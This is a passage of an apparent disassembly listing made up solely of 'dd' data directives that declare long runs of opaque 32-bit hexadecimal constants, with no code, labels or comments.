		dd 5F6A315Eh, 96DDCFCFh, 0EFE8034Ah, 4D048E8Eh,	0AEFF110Ch
		dd 914CDCDDh, 0F89B7B2Ah, 94CFEDD8h, 53F2AD17h,	7B2EA2CDh
		dd 1065FD01h, 0C6CDEE75h, 6E67EC0Bh, 0BAAD383Bh, 568414ACh
		dd 50BF5F26h, 21011B7Fh, 795EF190h, 642AEFCCh, 0BC6CC511h
		dd 43C3E9D3h, 85DD3A83h, 293D1BCBh, 2A549742h, 4C62966Eh
		dd 3957E03Eh, 3EEA5139h, 33E6FDADh, 0ECA60B5Ch,	9415DF43h
		dd 0D3D4C29Eh, 0A63B8FCAh, 9F81727Fh, 0CF123577h, 5D3DCA49h
		dd 4DE85A14h, 5A74EB3Fh, 5323C458h, 0EC96EF61h,	6A91F444h
		dd 2F01CEBBh, 0B2092682h, 4162E083h, 0FFAEFFEFh, 57CC1C90h
		dd 74D47F1Dh, 0C5570DD3h, 548888E2h, 801304FFh,	0B3A04DF9h
		dd 94125759h, 0ECC43B0Fh, 44ED89DEh, 0AC89ECF3h, 51DA7AB6h
		dd 0C258E5F4h, 0A54109E7h, 310FEC03h, 0CFA87576h, 35FBC656h
		dd 0D4557755h, 0EFABF962h, 3A0B8358h, 76470E61h, 4C07C9FEh
		dd 14CB37BCh, 80BEBB94h, 4939AEE5h, 33FAA0FFh, 0C44ACE25h
		dd 1EF065A9h, 52A8813Fh, 49EF6853h, 0C27F3B8Ah,	0D6C0D367h
		dd 0DEABA61Dh, 0B47BFECAh, 0D5DABAB1h, 0D3ADD620h, 0D68BFEDAh
		dd 0A14F70C3h, 8B0904DBh, 93AC4A4Bh, 69D08166h,	0CC75B4EBh
		dd 78A578EFh, 6D35BBE9h, 2A8B1BC6h, 5A83562h, 0A41214A6h
		dd 7187D845h, 83C04FC1h, 47DE304Dh, 32E23800h, 702860BBh
		dd 63838C4Ah, 21749B9Fh, 0B8865BBEh, 8E35986Ah,	3E9F07D5h
		dd 8E7931BFh, 16DE4A2Ch, 0C25C3329h, 8F05FD32h,	8B2DD918h
		dd 48669AC0h, 55693C9Fh, 0B6B57645h, 8E78A4B1h,	1074C0E3h
		dd 58E1B302h, 0C5380B1Eh, 7809C21Fh, 43CCED00h,	64D8271Ah
		dd 0C23F970Eh, 0A1D69583h, 6855565Bh, 605FFCD0h, 0A0F6E819h
		dd 0C62B3C46h, 825C2515h, 0B532971Ah, 7D0B3B95h, 0BB555D7h
		dd 0C841418Bh, 0D51A1DC6h, 0A3A4D3EFh, 0D1083264h, 10A0573Dh
		dd 21DE6577h, 0F509A647h, 0A8D9119Fh, 7E14CD60h, 0DAB76E8Eh
		dd 452EAFF1h, 929E7ADAh, 543C7E57h, 96DDAC79h, 0C2C935A5h
		dd 51EAFF0h, 2DAE861h, 6C33C1F5h, 19228C7Ah, 7DC8D6F3h
		dd 6BE7E1Ah, 737E729Eh,	0B06C0B3Ah, 5E92A3CEh, 632C38BDh
		dd 0B5CDD189h, 132909BFh, 49B88150h, 2B13A162h,	0EE1288CBh
		dd 5ADCE042h, 49B76027h, 63C56013h, 4EA80F45h, 9AE9067Fh
		dd 0E33A0E80h, 0EFD7D12Ch, 0AEE61BFh, 0A1783B39h, 0D85052E0h
		dd 0F1E80DE5h, 0BE415246h, 251387C7h, 77D4B959h, 0E335DBB3h
		dd 0D72CEBEh, 8205055Bh, 6E7099C4h, 5F3004C7h, 0F443FF6Eh
		dd 133FB9C6h, 9EA4EFE9h, 8412022Bh, 2FA7B329h, 0CBDEE7ADh
		dd 9CD3A194h, 94E67708h, 0EDBECB1Eh, 5A8471F8h,	1FA5E532h
		dd 458EB52Fh, 3D8D2512h, 0CBA3C7B5h, 65FBFE9Bh,	698F313Dh
		dd 91DD6869h, 0BE142A84h, 0DC0ABDA8h, 8FFD5DB6h, 84973E46h
		dd 0A9FB266h, 136DED47h, 9D1C7B49h, 0F0C6570h, 0DBF131DFh
		dd 0BDE12D4Ch, 28B5EF30h, 8CD4A805h, 0BC9B9E14h, 0AB8DEE91h
		dd 0C88087DDh, 3CB25DBCh, 0C420B953h, 93830B2h,	396E1D17h
		dd 95DE85E0h, 2C6F49EEh, 3201DFE4h, 0C2A12F7Eh,	43DEB08Bh
		dd 0FC68CADCh, 43FB68B4h, 0D34D22BFh, 8CB28AABh, 28675891h
		dd 0C5AD734Fh, 0B294ADh, 7242EE87h, 11E94862h, 0F53242F2h
		dd 253DDAD7h, 0C9827757h, 724E64A9h, 9F0F5C0Fh,	0A22018A2h
		dd 9ED43AC1h, 0D94ECDCh, 0E9170EFBh, 1605CE76h,	8FB6A310h
		dd 0BA0F16BEh, 546A2836h, 0C2494CCFh, 0D3BC521Eh, 0A3A5FA01h
		dd 6A81F037h, 0EC5B8C7Bh, 4D827F27h, 0B6A9B401h, 12899365h
		dd 256F8F60h, 4F334D4Ch, 7EB5D9A5h, 0A2288A40h,	41349AA7h
		dd 4E8C7B7Ah, 72E6DF80h, 0FD05D4F5h, 1850556Eh,	5F8291Dh
		dd 74102ECFh, 0BB705DFFh, 0A5AAB1AEh, 22694A33h, 30FEB70Ch
		dd 0E03B7FB0h, 0B5E098B3h, 0A5C15D22h, 0A7623F81h, 0A0A72CCEh
		dd 3979A64Eh, 0EA4960A1h, 0A3ADB415h, 3F38DA34h, 71E21019h
		dd 0A5B187AFh, 36CED000h, 9E7C1024h, 7E6E0531h,	9D95E472h
		dd 82B68E2h, 6502590Dh,	0D099E495h, 0B48330FFh,	103C661Eh
		dd 905D7A4Ah, 6617BF3Ch, 0FC880EFFh, 0F0368451h, 0DF1E5CB5h
		dd 0DFFF8D5Dh, 65B37079h, 27686A3h, 63EA8287h, 0A850CD99h
		dd 5EFBD077h, 0E6CB3C92h, 23F6C3ADh, 0AC61AD76h, 91DB5C52h
		dd 0AEB6F916h, 0A4C8DCFDh, 0D3179979h, 1609BB25h, 60A2D983h
		dd 0F4112580h, 0E509B275h, 6ADB3F76h, 57A48232h, 9565E199h
		dd 0E2D457Bh, 944AA333h, 5CC5A40h, 43BBBA22h, 791C6883h
		dd 0ED159908h, 4D0BEF1Fh, 5ACF5D2Fh, 0ED8F42FFh, 0AA356ED9h
		dd 11D54B74h, 4039DC79h, 1471F803h, 12289FF8h, 0C3156C31h
		dd 7B2FE48Eh, 5E339039h, 0B4A31DA7h, 3BCB0791h,	0B459977Fh
		dd 0C9588B6Eh, 7C76CC3h, 0EFC055AEh, 1E325393h,	0A3E08457h
		dd 0A8C5353Ch, 9D343176h, 0B17EAFB8h, 889959EBh, 48CEC70Eh
		dd 5840B855h, 8796B016h, 2A4636E0h, 0D7301144h,	724C89B2h
		dd 2F79B5E7h, 37D687EFh, 8757FEB9h, 7544CA6Fh, 94014F7Dh
		dd 2DA1D937h, 52A249B5h, 0C0E87AD0h, 0F0837812h, 0E53837E8h
		dd 7D4D4CC0h, 2355EF19h, 0FA650378h, 5F9342ACh,	0DCC4CC1Fh
		dd 0A96BC12Ah, 94D4BEABh, 312439FDh, 0AB032749h, 79FC71DCh
		dd 2B066A13h, 0E5F4CFF2h
		dd 0AFD7A815h, 9358E3EAh, 4A7BA918h, 72A9B191h,	0A8AA34CBh
		dd 0E73E4C46h, 5B2D0FCFh, 3B229A01h, 18B8F54Dh,	93CC70AAh
		dd 4561DF96h, 0CB9BC802h, 0D64CB029h, 0C30ABC61h, 0C95E670h
		dd 0D67D4569h, 0EB41C45Ah, 0B22F9C49h, 0F5CB8D73h, 648EB8Fh
		dd 0B1C8614Fh, 1556BE19h, 6AAA52FFh, 0FC0A91E4h, 16C74FE7h
		dd 649C059h, 8C8EFCD4h,	1844D293h, 31B3215Dh, 3F3AE38Dh
		dd 51B0348Fh, 0B0681685h, 21A909F0h, 0E4233B3Fh, 31B796B8h
		dd 64DE479Bh, 0F462F57Fh, 0EF5FEC4Ch, 4D2C8A24h, 871CEF6Eh
		dd 974D9C66h, 0BE4CB657h, 0D9FC2CB6h, 7ED79359h, 38641326h
		dd 52D4CEEBh, 0C0AD814Fh, 0D4440D62h, 0F60E53A5h, 0D83ACE77h
		dd 840ACDADh, 375CF3EAh, 0A05254BDh, 2439AF9Eh,	745E3724h
		dd 0C433BBFAh, 0E8CA3FCAh, 0D023FA58h, 3CC7C592h, 0AC5A11EEh
		dd 4361049Ch, 0F444BED4h, 0E8ADD611h, 0DB5851AEh, 95FBE65Ah
		dd 900642D7h, 69B1D6FEh, 7214779h, 0FAEF4CDDh, 0E758132Eh
		dd 7660C406h, 0BE05F47Bh, 99D893CFh, 0EBEDB30h,	4FA6A50Dh
		dd 53482D0Fh, 0FEDFBDEFh, 0C7F9A3ADh, 0F95A5D40h, 208106C3h
		dd 47A3F5B3h, 92291BC1h, 0A6123EDCh, 441F9369h,	1EA01401h
		dd 0E7437921h, 16BBFBE9h, 4ABBA0F2h, 191EEFD8h,	45410992h
		dd 575625B6h, 92155163h, 991A0C59h, 5437A3Ch, 315F1D2Bh
		dd 604F740Eh, 5726708Bh, 9D3ED691h, 0E903E86Ch,	0D13783FDh
		dd 2A4D041Fh, 0E2C2651Ch, 0EBFC1552h, 0B29765B5h, 1B9E7C6Eh
		dd 1F56DDC9h, 1CDBC18Bh, 0FAEADA20h, 0AC18EF4Ch, 507C12F6h
		dd 2E31E00Fh, 0A788BD3h, 1A60DD2Eh, 92D9B55Ah, 36754AD1h
		dd 4F8DEA1Bh, 0B801EEAh, 19616090h, 0A8BBB3C5h,	0A6D342AAh
		dd 0B7B0F077h, 7DE84228h, 0D9CB57F4h, 65E9656Dh, 8DEF882Eh
		dd 91D97B0Bh, 0F34C2E42h, 0F5A01469h, 0A0F16231h, 59D3B1A6h
		dd 1707A3EEh, 4ABA52E0h, 69B5A279h, 9E89736Fh, 8496A8A8h
		dd 0C7FF115Eh, 0D303122Fh, 9341039Eh, 8DA864EDh, 0EE79C6Dh
		dd 0EC4331Eh, 0B953177Bh, 81F24332h, 0C456DE0Fh, 32D8E7F7h
		dd 63BA7B73h, 256AD845h, 0B35AF195h, 0A1F0758Fh, 3FBACF44h
		dd 0C84E6ECCh, 5B012048h, 7198D88Eh, 80496679h,	260893B7h
		dd 2262D10Dh, 0B4D8A82Fh, 90F53588h, 3FB51422h,	0A0B5E7Fh
		dd 8BDFAFA6h, 0A0175B73h, 1CC7CC44h, 131946F6h,	19C7505Ch
		dd 0CF5A50D8h, 54754AD9h, 778C2DFFh, 7C143921h,	9BA82952h
		dd 0F2A8858Dh, 0E9347EB0h, 70B5D3BDh, 0E9D7A4E6h, 0F6523D54h
		dd 74ECD570h, 9B6DF211h, 0A39E457Ah, 0BD358376h, 0F864DF26h
		dd 0F7BB9EC6h, 0CE5E8E30h, 6D1ED752h, 283DEDF0h, 5181240Eh
		dd 0A4E202A4h, 9F25EAF4h, 0F3BFF771h, 3A3D3C1Ch, 6B608F99h
		dd 24FA6725h, 0C41A9E8Ah, 78722E2Bh, 1E81A808h,	2E5F7D03h
		dd 0F315C8DDh, 0FE971AFh, 7B34B4FFh, 0DFE8BCA7h, 1D6D9429h
		dd 0E97110A0h, 6E39754h, 1392EE37h, 0E1BFDF15h,	233C91D7h
		dd 0B456DE7Dh, 55B3AAB8h, 5E23DB80h, 4362E78Ah,	0D46322A3h
		dd 0A0B31942h, 731A0E68h, 9FC4CA56h, 0B227AD52h, 3FD5E608h
		dd 35210A1Ch, 0A4CD0C74h, 836C9646h, 69877BADh,	9FA66303h
		dd 3D03DA40h, 423BB0A7h, 0F471012h, 0AD02BBD2h,	0B7A61BDAh
		dd 11A2F730h, 1E38EC0h,	85AFE50Ch, 4F0A2E92h, 0CBF6A095h
		dd 2FDACFA8h, 3EEF86D8h, 0C404B6Dh, 4BD95640h, 0E62B85EEh
		dd 9594AD50h, 33C41237h, 2681Ah, 7D1E116Bh, 0EC73A800h
		dd 8B4BA601h, 0AB0A1B57h, 38EEAD1Ah, 0BAE93BF6h, 8D61D0FFh
		dd 6856D6EFh, 5B97ADE1h, 0D7A486F3h, 6B538AC1h,	379A6684h
		dd 3F47539Bh, 0C1F25C4Eh, 0E9B2FA24h, 2804B7F2h, 0E9D63EC3h
		dd 0DBE8B979h, 82069480h, 0A01A9E9Eh, 0F19DC98Ah, 7C695EF8h
		dd 0E2865081h, 83167123h, 66CFE8DAh, 95E726A0h,	93432CD8h
		dd 7BFC4B1Eh, 2C111DAAh, 526A8DCDh, 0B63DEEC5h,	0E2F693D3h
		dd 8B43E38Bh, 3CF0562h,	49B3D798h, 5455AE82h, 0CE00C3F7h
		dd 0A4D5D8FFh, 44B50109h, 320E3D11h, 0FD953F03h, 54A651ECh
		dd 25DEB2CEh, 4B6AE441h, 21D8AF52h, 0F0911DEDh,	15210781h
		dd 472E71DEh, 4FF7DA10h, 4C0F5CD9h, 3417F667h, 53911A11h
		dd 82A9FB39h, 0C89F9404h, 0DACEFDE0h, 56CE742Ah, 5333A0E9h
		dd 3143C869h, 0EB0C5270h, 0A3E40213h, 4B077C6Dh, 231C2432h
		dd 1F9B9E1Ah, 95D0C55Eh, 6A2F7281h, 780340FBh, 15E2A16h
		dd 0BCC5A9ECh, 28AF0F41h, 4BC87822h, 68C9E2CAh,	0E0808862h
		dd 317F86CFh, 100EC96Ch, 9800B44Ah, 0D1C08E22h,	0F40B0048h
		dd 0A2D7518Eh, 1C4F541Eh, 0B0976644h, 457A32F6h, 535B936Ah
		dd 1C892892h, 0F742FD8Bh, 0B63AE38h, 2D587C7Ch,	0C19CF9F3h
		dd 3A57AF92h, 0F539CDCAh, 823A3338h, 3ACF7B5Eh,	0FF7AD171h
		dd 949EA679h, 4C3382C6h, 278B952Bh, 6E54DFBCh, 5CE8438h
		dd 3553B906h, 87CE886Eh, 0F95E8C90h, 0CD9B6F9Dh, 361EE881h
		dd 0ED3C4CC4h, 279ACEDCh, 9FB54984h, 0A8BFAF99h, 0A82EC951h
		dd 71A867A1h, 0E176CE59h, 196FA108h, 79298BE8h,	0FA9E1E4Dh
		dd 31FE14B7h, 9F0219CBh, 0F7FFA0D4h, 0EE129BC5h, 99CD14D9h
		dd 1A97F333h, 9EB8EAF8h, 6657E9CEh, 0BED28F19h,	0EB2DA6F3h
		dd 59F76C4Eh, 0AB9836Ah, 296E7AFDh, 3CCFEA97h, 0D645DD45h
		dd 5F59057Ah, 859B9A31h, 316A9182h, 697C7DA8h, 6A99E7BDh
		dd 0B321DE74h, 9AEA8D9Dh, 45806BE0h, 0E54904C2h, 27426B24h
		dd 7EC6A633h, 0EE90AA28h, 56F932C0h, 0B2C9CD3Bh, 234DF5DBh
		dd 6DC599AFh, 637B5225h, 0A24ABE9Ah, 0A1FCD8B8h, 0DCA4182h
		dd 0BDFEAC1Bh, 392FEB5Eh, 0DAC76E9Fh, 7CDAA2BFh, 0B2D31E24h
		dd 2C128B13h, 0B7FCDCE4h, 45A107EFh, 0B2B3F883h, 64288B32h
		dd 0ACD01C51h, 0BBAEE0E5h, 0D9F28060h, 9835FAF4h, 0B4FB9FF2h
		dd 0D73717EAh, 122A195Fh, 0C78C8DC6h, 0F4691DC5h, 0DB036AEh
		dd 3A4B977Dh, 21B31584h, 0BC980CEEh, 0F19EB3D2h, 4A149D2Fh
		dd 0FACB4E1h, 0C7A83523h, 5FAF1ED1h, 2C7F7A94h,	36528FBAh
		dd 0B75157A2h, 257C5FC0h, 2056333Eh, 0F4D25191h, 0B5430966h
		dd 9485C111h, 0BF7419A5h, 0B8BE7DFAh, 0B52639BCh, 851E0BC9h
		dd 2A0793B5h, 0D8E7FA93h, 0EA761352h, 2203B65Dh, 0B743FA45h
		dd 1F3162DDh, 622B09EAh, 81108751h, 0F2052DCh, 0C8119522h
		dd 47243C5Bh, 0C7838C5Bh, 0B3C721BCh, 4AA701Fh,	7FD8873h
		dd 67859463h, 0CB5B3C02h, 0B11DFF9Ch, 67767DACh, 77B1D20Fh
		dd 0F1F839A7h, 6F1AF4A1h, 708722AFh, 8EC4B157h,	1ADFB82Eh
		dd 38569C4Eh, 1B96555Fh, 0E6192396h, 525CED84h,	33EDD488h
		dd 940E2C3Ah, 7B80DF58h, 0F2B08D14h, 1D6A4003h,	872D7504h
		dd 0B9142625h, 6F79D046h, 3C04AECh, 0AB4105DBh,	7833C819h
		dd 0D55D672h, 11B95919h, 6F8C3D28h, 5F33E978h, 5E73B559h
		dd 0A0C26008h, 0CD7346B5h, 7C77B6EFh, 0CFEE3A9Bh, 0FDA25BFDh
		dd 87695D1Bh, 0C677D0B1h, 0F6FA639Eh, 0B8DF3D8Dh, 0F42751FAh
		dd 7DCF2BE5h, 0CB174AA4h, 0AB1C68E0h, 5FBA7D8Ah, 7091522Eh
		dd 60D1A874h, 5E18FFB0h, 1569F105h, 0F0C4D7F7h,	275D15Eh
		dd 8078BE7Eh, 1B9484C9h, 647DD78Fh, 0E397C864h,	2F35F5FDh
		dd 521C022Ah, 16DC6DA5h, 84851DC3h, 0A29C4698h,	0B2F53F2Bh
		dd 5AD8FE5h, 3AF5188Ch,	0AC3F4C97h, 3ED47AEDh, 9B48EC9Ch
		dd 389A86A7h, 52059C64h, 94447937h, 25BA1F41h, 30D98A3Ch
		dd 47961A91h, 35146FDCh
		dd 55B5FFD6h, 64BCA488h, 35C34B2Bh, 37D28386h, 0C64B0213h
		dd 0AA9D3F96h, 1BB65358h, 114A338Eh, 132E6BD8h,	0BE640501h
		dd 4A20404Fh, 0FBAE437Ch, 0CAAB22Ch, 803C7B49h,	3ED6A9C3h
		dd 619C2554h, 0EE8AB1BDh, 0A98FAEB8h, 9F8A57CDh, 2EEB043Fh
		dd 7626A5B4h, 0A45FA38Ah, 7D91B9F0h, 6D22EAA2h,	11598FE8h
		dd 0F2CE2F42h, 0B8ED380Ch, 381C5B70h, 0DE4AF7B0h, 0A854329Bh
		dd 8F8E6B40h, 5770D6Bh,	3CC3D1A0h, 967E86E0h, 29D4293Bh
		dd 3BF24257h, 3A8B7DDDh, 565BBE89h, 23ED147Ch, 0ABB38BD8h
		dd 620E92Eh, 1123B59Bh,	0DA6184E7h, 0C5F49EA5h,	75908EFFh
		dd 0C0B6859Bh, 0B44FF3C4h, 0C26F89D9h, 0D4FC0F7Dh, 0D01E739Eh
		dd 4F18164Bh, 580C100Fh, 86716EE4h, 0D400BF3Bh,	0EC31A39Fh
		dd 6506A260h, 732DE046h, 0EE6B2968h, 0C67FF819h, 5C73FC2Dh
		dd 6A49A94Dh, 6A3C0FD0h, 45D408Fh, 3DAE8946h, 0AF80D3FAh
		dd 0F29B15DAh, 42A48008h, 4F5BAFh, 9FF0CA2h, 0A1DF2071h
		dd 1076C5A1h, 2B227B0Fh, 5A6126CDh, 0CA5A3625h,	0C54484DFh
		dd 235D82D2h, 0A1635C5Bh, 0C00F12D4h, 0AFA0361Ah, 99F1BEC4h
		dd 52BF65C7h, 84D5D379h, 0AB5F430Ch, 526976Eh, 8832A691h
		dd 0AC233B01h, 3EABF4CDh, 0F49D509Fh, 0B12F1C2Ch, 5A97C1F2h
		dd 0C436F016h, 0FCFC43A3h, 5756FE79h, 6F41FF58h, 0BDE55702h
		dd 4BC8DF5Ch, 0BECDF44h, 46C6D804h, 9680E367h, 0F168A749h
		dd 0C068C8E8h, 54976B23h, 0A9325E5Eh, 92671615h, 0E7744B84h
		dd 139AA335h, 0EB87C85Ah, 7E5F0E0Bh, 7BC2F1EDh,	0D1E2FC64h
		dd 72CBFE2Bh, 0E98A2F21h, 5C78312h, 0A7CEE280h,	15F1FDCFh
		dd 711218E1h, 2DA86D79h, 0E6906B0h, 0B2115F0Dh,	5E4219B6h
		dd 6F02D43Dh, 47DB0921h, 5F7010B6h, 5738B4BBh, 4CDBC0A8h
		dd 7ED216BBh, 0CC1F6B6Eh, 0A8FFF625h, 5F5798B8h, 0B48E661Ah
		dd 3ADBD972h, 5EC9CFE3h, 6585DCD0h, 2C543F6Ah, 2BA87A07h
		dd 4AC20E5Fh, 491906B8h, 0E75534ABh, 2654430Fh,	0C6180599h
		dd 4C9B5674h, 0AA9BE12Eh, 74EC9312h, 9401FECDh,	0C317D7ABh
		dd 20DE214Ch, 782B4BF8h, 4A785458h, 0F9459723h,	0B4B6F921h
		dd 0DD61EB72h, 0AE920D19h, 89F41F42h, 0DEBDB5BBh, 47C996D9h
		dd 0DEF4C434h, 0C8ED42AEh, 3569A7BEh, 0D4C118DDh, 0E6064892h
		dd 66040A72h, 1369B04Dh, 0F9E8C52Ah, 0C5FCFE0h,	7268F81h
		dd 98519B57h, 0C37C8452h, 32EBC450h, 0E417AA1Fh, 0BE250B95h
		dd 0BA963E88h, 68CC67A4h, 9799B7B4h, 533912F3h,	45C614Eh
		dd 53F93141h, 45069FDBh, 0FDDC4CDCh, 0AFB91F27h, 4C10C1B8h
		dd 1F04475h, 0E0609A60h, 0CC7CAAF3h, 9055B94Ah,	41ABA417h
		dd 10131BB5h, 0EF9F26FBh, 4CF62927h, 0C7EF2FA7h, 0D0016060h
		dd 0B1589542h, 85F7BF0Dh, 17EFC8CDh, 6C01910Bh,	0F880EA3Ch
		dd 60D19181h, 0EE98E74Dh, 5C00C466h, 31DB4301h,	0C0AAEAF2h
		dd 9E17D5EAh, 4493E1FAh, 2309535Fh, 4C872566h, 0D40C5DA1h
		dd 9DB23889h, 66A8065Ah, 0D382C931h, 641FEF3Eh,	79AD674Eh
		dd 3B8849F5h, 0D57C524Ah, 0EAD30502h, 6E5A0FD4h, 60ECC356h
		dd 65E23394h, 15F807E5h, 0EFF4DD5Bh, 6DE289Ah, 0BE7E4E37h
		dd 3164C170h, 0E47D7847h, 1CF8FA8Fh, 0CDDD97DEh, 85944F6Ah
		dd 88C52556h, 94D2E742h, 75CD902Fh, 89118DD6h, 0BC22D706h
		dd 0AC8C7CE9h, 0DCE7F4DFh, 69AE8C2Ch, 8F199AE7h, 9D7F292Dh
		dd 0DC67B18Dh, 6E4E532Dh, 25843973h, 8C78377Bh,	59A25A89h
		dd 0D3F53350h, 0A42309D9h, 564EC946h, 1FDCADAEh, 0B758DFA6h
		dd 0F0952E4Fh, 61F0EBF0h, 91694A55h, 2F9C78ACh,	0B3F9A0FDh
		dd 7A5E7083h, 0F0A3D08Eh, 316DBA39h, 93F9D39Fh,	0D324661Ch
		dd 0E5EF8489h, 60162E29h, 0DC59E2E0h, 0DF7DEC29h, 7080245h
		dd 0D51CE76Dh, 0A9103949h, 0A969350Dh, 76354D1h, 2E7294E3h
		dd 9CACBE4Dh, 0BD2318FFh, 65685082h, 0D146559Fh, 0A9CAC066h
		dd 863D1C5Fh, 0D2B44DD8h, 0CB4A819Dh, 2472435Fh, 0A9B7F5FFh
		dd 0F15CFD05h, 0A6A2BB02h, 4651EF32h, 7798C6A4h, 0A616424Ch
		dd 0F6787B41h, 4F8942A6h, 0A3B3BA72h, 0CE6E0F91h, 8EE7C969h
		dd 0D6354A5Eh, 0D6540Fh, 80D23641h, 90545B9Ah, 57CC7C7h
		dd 2E4D8BAEh, 0ACE8426Ch, 0BDC4DEAFh, 19697EA8h, 2CD1B080h
		dd 89640F18h, 35D637C7h, 6BB6B36Dh, 35BC0341h, 0B1B70EEDh
		dd 0CD027E03h, 68B8C7F7h, 2FD69985h, 3766DF14h,	0D7B8D4C4h
		dd 0FEF9F73Bh, 97E0626Dh, 29DBCC90h, 7E6F3CE8h,	0F6C91B0Ah
		dd 34484BFh, 1B326440h,	236F8F51h, 0BDCD6BE1h, 0CD1819C0h
		dd 0B1B9E0E6h, 751B6AA5h, 0E76793B1h, 1FC4C16Ah, 99B1FC10h
		dd 86A1DDF0h, 3D6FBCBAh, 0CC93F388h, 32CF1328h,	0B257C520h
		dd 44DFC58Bh, 7DCA0FDAh, 19D471F6h, 3F8C2100h, 0F40937A8h
		dd 0B18D25C0h, 0CA6DCB0Ah, 60B3BBE2h, 6B9D56C9h, 380B284h
		dd 0BAC13CEAh, 240B5CCAh, 0C79F12A6h, 0FB009150h, 0A8C3A20Dh
		dd 9414800Eh, 0D40B328Fh, 2795F220h, 0AB0F99F0h, 708179BCh
		dd 12D4F25Bh, 0FAB109C0h, 0BE7BE0C4h, 97C8E92Fh, 0E177ABABh
		dd 91556B5Bh, 0AF5F34BEh, 0F42E907Ah, 815BE22Fh, 0A1042BFBh
		dd 2384547Eh, 7A964D52h, 836FBEFEh, 0FAABB1Ah, 0FFCD8F01h
		dd 365C2FD1h, 7AE0F02Ah, 4C878815h, 6E3B51BAh, 0EF1F7185h
		dd 1A63E680h, 0A8372DB8h, 0F661D366h, 0D8CD0040h, 0B2FB1B9Ch
		dd 56376B83h, 65C7C524h, 1F773009h, 9F6EE18Bh, 0A02EA1C5h
		dd 9EE439FAh, 0A712EF9Ch, 941E0CC0h, 6E183FF7h,	0D0649CF5h
		dd 0F2F1EDA3h, 0B717648Ah, 0FC2507A6h, 665BC87Ah, 6786683Dh
		dd 0FE7408AEh, 0FA99EE43h, 0DEE9325Ah, 0D95790BBh, 0D92204AAh
		dd 0CA0B6DB9h, 0E03ED7C6h, 68741D13h, 16DDBFFFh, 0A1C547C8h
		dd 9DAB729Ch, 2AF14C43h, 0F292F64Ah, 618F19AAh,	1E531619h
		dd 53826657h, 0C7DE03CAh, 8F06697Eh, 897FCECFh,	5F8D3460h
		dd 9DB86B97h, 685A9498h, 1F36B413h, 0A99B05BDh,	0C7BDAA3Dh
		dd 0D51E8F95h, 0D727B837h, 9E25887Eh, 6A6C4BBCh, 945777B0h
		dd 0CC8DC7A4h, 72F43325h, 2CD42AC6h, 22DC4EE7h,	0C28F9535h
		dd 0F3EC8B8h, 0A3585E98h, 7876E2Bh, 4C5ACB6Ah, 52BC7D47h
		dd 0D107F8F5h, 9657B198h, 0C805CB08h, 85B03FC2h, 24D2151h
		dd 370AA3F8h, 0C1F45BD1h, 0D292E1AEh, 3097311Dh, 7B7ACCD0h
		dd 7C183DC8h, 0EA04F4FEh, 55A0D98Fh, 4E063D63h,	0B00F7EFCh
		dd 7D322397h, 0CFBFBB4Dh, 0E2AEBAA5h, 0E567B36Dh, 98048D91h
		dd 0ED9A82D1h, 0AFC59A6Dh, 8E79066Bh, 31B7B49Fh, 6529EB87h
		dd 127CDFCCh, 5BCBF463h, 0E9309B9Ch, 0F346987Eh, 5B4C136Ch
		dd 25D5FC84h, 6C8D8030h, 0F6804A51h, 7BA16ECFh,	0CED8223Ch
		dd 0F2BCE2D7h, 0F0C68B7Bh, 0DAE75446h, 55AE7F2Fh, 7E88D218h
		dd 0FCB208E5h, 31311671h, 0A19AAC38h, 95B4BC46h, 6A83F837h
		dd 868FE4B2h, 92417BFDh, 0AD5FF1E5h, 0C830BC50h, 7C231564h
		dd 3BA78089h, 0E1553966h, 1AFBBD3Bh, 11B7A0CAh,	0D11B4755h
		dd 71EF4945h, 0B29E227Eh, 342B2A3Eh, 0F7779E21h, 0D41AD448h
		dd 7DB7BB9Eh, 0A7DD6B3h, 0EE13FF80h, 0FA80584Dh, 9A465C25h
		dd 0D3C67EA7h, 0C0E44382h, 0BF5D7B36h, 7C356289h, 0C1145791h
		dd 0A99201CFh, 57266B0Fh, 82F6F17Ah, 5993AA25h,	8F01FBEAh
		dd 0C5025C2Ch, 5FFF9CCCh, 0CE83B544h, 1783F0DDh, 3C42F4B4h
		dd 398CE2h, 30ACA26Ch, 1236D8FEh, 0FA7C66B7h, 0F5130C8Eh
		dd 1904B52Ch, 0AC2EED5Fh
		dd 0C362CB20h, 0BAC25138h, 746BC484h, 6A48B6B3h, 7AAC8673h
		dd 0AA8240E0h, 315CDAA7h, 0B5C81265h, 1F3D85BFh, 81DFD7EBh
		dd 7859F6C9h, 0BE733768h, 2E714A90h, 31E618E9h,	1BA156BEh
		dd 79F3A789h, 6038245Dh, 199D8FCDh, 0EB3338A6h,	0DCD7FABBh
		dd 549FF1FCh, 0DA646B78h, 6D4AB988h, 0A58F8966h, 75AB44F0h
		dd 3191E57Ch, 5D9C28CAh, 3B8AA446h, 70F7BE0h, 0D3C9C7EEh
		dd 5D31F3C5h, 16FBBAFFh, 746EAB40h, 2C22F0AEh, 0B735B690h
		dd 4D092ECFh, 7A18889Eh, 7C7A63D1h, 37B02787h, 53339902h
		dd 979CF868h, 8BA1B103h, 0BAAB6536h, 1D1C3D08h,	0C2C11C6h
		dd 0E765BDC3h, 0F044CE3h, 0F02AD8CFh, 8BC7116Dh, 0C569CE4Fh
		dd 0DBF7291Ah, 71CEF11Ah, 0A3A0CFB3h, 0AB5A6AB4h, 5FB369C0h
		dd 59BFDB8h, 0ACD14646h, 39AB9F91h, 0FEC398B4h,	9AC82976h
		dd 8EFE24B8h, 8FE546FFh, 79F01846h, 115A06A4h, 0F21D8BB2h
		dd 12E87BFFh, 0A4199E7Ah, 0DAA5A551h, 52336EB9h, 5CDA107h
		dd 0E0F343BCh, 994E1804h, 0C2A130BAh, 0D7A0E348h, 30ABE788h
		dd 8C2F8757h, 3C5403F6h, 0F9136FC6h, 12A35A1Eh,	0B6472B82h
		dd 4AABEE1Eh, 80D50CEBh, 341A1DA8h, 80523780h, 0EAF0CEE7h
		dd 0B40DBBFEh, 1FC99967h, 0AD1C0F05h, 895E81BBh, 0B4FBE7DEh
		dd 78B6DE1Fh, 86500953h, 31B373F6h, 4BDD7C5Ah, 64A3F59Dh
		dd 0AF05B511h, 0C508C8EAh, 8EA4946Ch, 0F132F525h, 699CA10Dh
		dd 0BAC60B55h, 0A75D93A1h, 0A92C81E8h, 0D4EA49ECh, 0C8DBA477h
		dd 0A7E1C0Bh, 0ABF44777h, 0C1EDD248h, 576288B0h, 40029225h
		dd 0EF54364Ch, 3240EFDAh, 0ADC15F64h, 1075E7D7h, 0CAAF4988h
		dd 0B1B26295h, 1E93307h, 69409013h, 502B7843h, 1A036540h
